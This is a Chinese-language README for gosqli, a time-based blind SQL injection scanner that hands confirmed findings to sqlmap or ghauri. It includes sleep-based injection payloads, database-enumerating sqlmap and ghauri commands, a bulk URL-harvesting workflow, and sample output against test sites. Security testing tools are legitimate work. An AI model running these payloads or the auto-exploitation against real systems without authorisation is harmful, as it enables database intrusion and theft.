rix4uni/gosqli
GitHub: rix4uni/gosqli
一款基于响应时间延迟的 SQL 时间盲注检测工具,通过多次验证机制确保零误报,并可自动调用 sqlmap 或 ghauri 进行后续利用。
Stars: 16 | Forks: 5
## gosqli
## 功能
- **基于时间的盲注检测**:使用响应时间延迟(>10秒阈值)来检测 SQL 注入漏洞
- **多种输入方式**:
- 单个 URL 扫描 (`-u`)
- 从文件批量扫描 URL (`-l/--list`)
- HTTP 请求文件扫描 (`-r/--request`) - 支持单个文件或目录
- **顺序扫描**:一次只测试一个 URL 和一个 payload,以确保最高准确性(零误报)
- **实时验证**:使用树状连接符和通过/失败指示器实时打印每次验证尝试
- **注入点检测**:自动识别哪个参数/请求头包含注入标记
- **默认 Payload**:未指定 payload 文件时,自动下载并使用 `~/.config/gosqli/fav-time-based-sqli.txt`
- **彩色输出**:通过伪终端 (PTY) 在终端和日志文件中保留 ANSI 颜色
- **结果保存**:自动将已确认的 SQL 注入发现保存到文件中
- **自动化利用**:集成 sqlmap 和 ghauri 进行自动化利用
- **代理支持**:通过代理服务器路由请求(例如,Burp Suite)
- **注入标记**:在 URL、请求头和请求体中使用 `*` 作为注入标记(Accept 请求头中的 MIME `*/*` 通配符会被自动忽略)
## 安装说明
### 使用 Go Install
```
go install github.com/rix4uni/gosqli@latest
```
### 下载预编译二进制文件
```
wget https://github.com/rix4uni/gosqli/releases/download/v0.0.3/gosqli-linux-amd64-0.0.3.tgz
tar -xvzf gosqli-linux-amd64-0.0.3.tgz
rm -rf gosqli-linux-amd64-0.0.3.tgz
mv gosqli ~/go/bin/gosqli
```
或者为您的平台下载[二进制发布版本](https://github.com/rix4uni/gosqli/releases)。
### 从源码编译
```
git clone --depth 1 https://github.com/rix4uni/gosqli.git
cd gosqli; go install
```
## 使用方法
### 命令行标志
#### 输入选项
- `-u, --url string`:要获取的 URL(必须包含 `*` 作为注入标记)
- `-l, --list string`:包含 URL 列表的文件(每个 URL 必须包含 `*`)
- `-r, --request string`:从文件或目录加载 HTTP 请求(请求必须包含 `*` 作为注入标记)
- `-p, --payload string`:包含要测试的 payload 的文件(默认:`~/.config/gosqli/fav-time-based-sqli.txt`,若缺失则自动下载)
#### 检测配置
- `-v, --verify int`:验证“发现 SQLI”的次数(默认:3)
- `--retries int`:HTTP 请求失败后的重试次数(默认:0)
- `--stop int`:在确认 [stop] 次 SQL 注入后,停止检查待处理的 HTTP 请求(0 表示检查所有)(默认:1)
#### 输出与集成
- `-o, --output`:将“已确认 SQLI”的结果保存到文件
- `--on-confirmed string`:当“已确认 SQLI”时用于自动利用的工具:`sqlmap`、`ghauri`、`both` 或 `none`(默认:`sqlmap`)
#### 网络选项
- `--proxy string`:代理 URL(例如,`http://127.0.0.1:8080`)
- `-H string`:HTTP 请求的自定义 User-Agent 请求头(默认:Mozilla/5.0...)
#### 显示选项
- `--no-color`:禁用彩色输出
- `--silent`:静默模式(隐藏横幅和信息)
- `--version`:打印版本信息并退出
## 使用示例
### 单个 URL 扫描
```
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*"
```
### 使用自定义 Payload 文件
```
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" -p fav-time-based-sqli.txt
```
### 从文件扫描多个 URL
```
# 创建 URLs 文件
cat > urls.txt << EOF
http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*
http://testphp.vulnweb.com/artists.php?artist=1*
EOF
# 扫描多个 URLs
gosqli -l urls.txt
```
### HTTP 请求文件扫描
```
# 单个 request 文件
gosqli -r request.txt
# request 文件目录
gosqli -r ./burprequest/
```
### 保存输出结果
```
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --output
```
### 自动化利用
```
# 当 SQLI CONFIRMED 时自动启动 sqlmap(默认)
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --output --on-confirmed sqlmap
# 当 SQLI CONFIRMED 时自动启动 ghauri
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --output --on-confirmed ghauri
# 自动同时启动 sqlmap 和 ghauri
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --output --on-confirmed both
# 禁用自动 exploit
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --on-confirmed none
```
### 使用代理 (Burp Suite)
```
gosqli -u "http://testphp.vulnweb.com/AJAX/infocateg.php?id=1*" --proxy http://127.0.0.1:8080
```
### 包含输出和利用的请求文件
```
gosqli -r ./burprequest/ --output --on-confirmed ghauri --proxy http://127.0.0.1:8080
```
### 单行命令工作流
```
# 生成带有 injection 标记的 URLs 并扫描
echo "testphp.vulnweb.com" | waybackurls | urldedupe -s | pvreplace -silent -payload "*" -fuzzing-part param-value -fuzzing-type replace -fuzzing-mode single | unew -ef -el -t -i -q urls.txt
gosqli -l urls.txt --output | tee -a gosqli.txt
```
## 输出文件
使用 `--output` 标志时,gosqli 会将已确认的 SQL 注入发现保存到以下位置:
### 目录结构
所有输出文件均保存在 `~/.config/gosqli/` 中
### 基于 URL 的扫描 (`-u` 或 `-l`)
### 请求文件扫描 (`-r`)
### 默认 Payload 文件
### 利用日志 (`--on-confirmed`)
- **`logs/sqlmap_.log`**:sqlmap 利用输出日志(包含 ANSI 颜色)
- **`logs/ghauri_.log`**:ghauri 利用输出日志(包含 ANSI 颜色)
每个日志文件均以指示目标的标头开始:
```
URL_FILE: http://example.com/page.php?id=1*
```
或
```
URL_FILE: req.txt
```
## 重要说明
### 注入标记
- 在 URL、请求头或请求体中使用 `*`(星号)作为注入标记
- gosqli 会将 `*` 替换为 payload 文件中的每个 payload
- 示例:`http://example.com/page.php?id=1*`
- **注意**:`Accept` 请求头中的 `*/*` 模式会被自动忽略——它们是 MIME 通配符,而不是注入标记
### ADDTIME 占位符
### 响应时间阈值
- 检测阈值硬编码为 **10 秒**
- 任何超过 10 秒的响应都将被标记为 `SQLI FOUND`(发现 SQLI)
- 所有验证尝试也必须超过 10 秒才能判定为 `SQLI CONFIRMED`(已确认 SQLI)
### 请求文件格式
请求文件应采用原始 HTTP 格式:
```
GET /page.php?id=1* HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0...
Cookie: session=abc123
```
### 验证系统
- 当发现潜在的 SQL 注入(`SQLI FOUND`)时,gosqli 会进行多次验证
- 默认:3 次验证尝试
- 每次尝试都会使用树状连接符实时打印(✓ 表示通过,✗ 表示失败)
- 所有验证尝试必须超过 10 秒才能判定为 `SQLI CONFIRMED`
### 自动化利用
- 当设置了 `--on-confirmed` 时,利用工具将在**前台**运行(阻塞)
- sqlmap/ghauri 的输出将在终端中以全彩色显示
- 结果也会保存到 `~/.config/gosqli/logs/` 下的日志文件中
- 必须安装 sqlmap 和 ghauri 并使其在 PATH 中可用
### sqlmap 集成
```
sqlmap -r --random-agent --level 5 --risk 3 --ignore-code=500 --dbs -time-sec=12 --batch --flush-session
sqlmap -u --random-agent --level 5 --risk 3 --ignore-code=500 --dbs -time-sec=12 --batch --flush-session
```
### ghauri 集成
```
ghauri -r --level 3 --dbs --time-sec 12 --batch --flush-session
ghauri -u --level 3 --dbs --time-sec 12 --batch --flush-session
```
## 输出示例
### URL 扫描
```
NORMAL REQUEST: http://testphp.vulnweb.com/AJAX/infocateg.php?id=1 [200] [nginx/1.19.0] [0.02 s]
[*] Injection point: GET parameter 'id'
NOT FOUND: http://testphp.vulnweb.com/AJAX/infocateg.php?id=10"XOR... [200] [nginx/1.19.0] [0.01 s] [Payload: 0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z]
SQLI FOUND: http://testphp.vulnweb.com/AJAX/infocateg.php?id=1-sleep(10) [200] [nginx/1.19.0] [10.01 s] [Payload: -sleep(10)]
├── [1/3] Verify: 10.03 s ✓
├── [2/3] Verify: 10.02 s ✓
└── [3/3] Verify: 10.04 s ✓
SQLI CONFIRMED: http://testphp.vulnweb.com/AJAX/infocateg.php?id=1-sleep(10) [200] [nginx/1.19.0] [3/3 passed]
Running sqlmap exploitation. Log: /root/.config/gosqli/logs/sqlmap_20260602_161609.log
```
### 请求文件输出(使用 `-r` 标志)
```
NORMAL REQUEST: [req.txt] http://kzlabs.in/101.php [200] [Apache/2.4.58] [0.49 s]
[*] Injection point: POST parameter 'email'
[*] Injection point: POST parameter 'password'
NOT FOUND: [req.txt] http://kzlabs.in/101.php [200] [Apache/2.4.58] [0.46 s] [Payload: 0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z]
SQLI FOUND: [req.txt] http://kzlabs.in/101.php [200] [Apache/2.4.58] [24.07 s] [Payload: 'XOR(if(now()=sysdate(),sleep(5*5),0))OR']
├── [1/3] Verify: 24.17 s ✓
├── [2/3] Verify: 24.06 s ✓
└── [3/3] Verify: 23.98 s ✓
SQLI CONFIRMED: [req.txt] http://kzlabs.in/101.php [200] [Apache/2.4.58] [3/3 passed]
Running sqlmap exploitation. Log: /root/.config/gosqli/logs/sqlmap_20260602_162941.log
```
## 致谢
- 灵感来源于基于时间的 SQL 注入检测技术
- 集成 [sqlmap](https://github.com/sqlmapproject/sqlmap) 和 [ghauri](https://github.com/r0oth3x49/ghauri) 进行利用
标签:CISA项目, EVTX分析, Go语言, SQL注入检测, 日志审计, 程序破解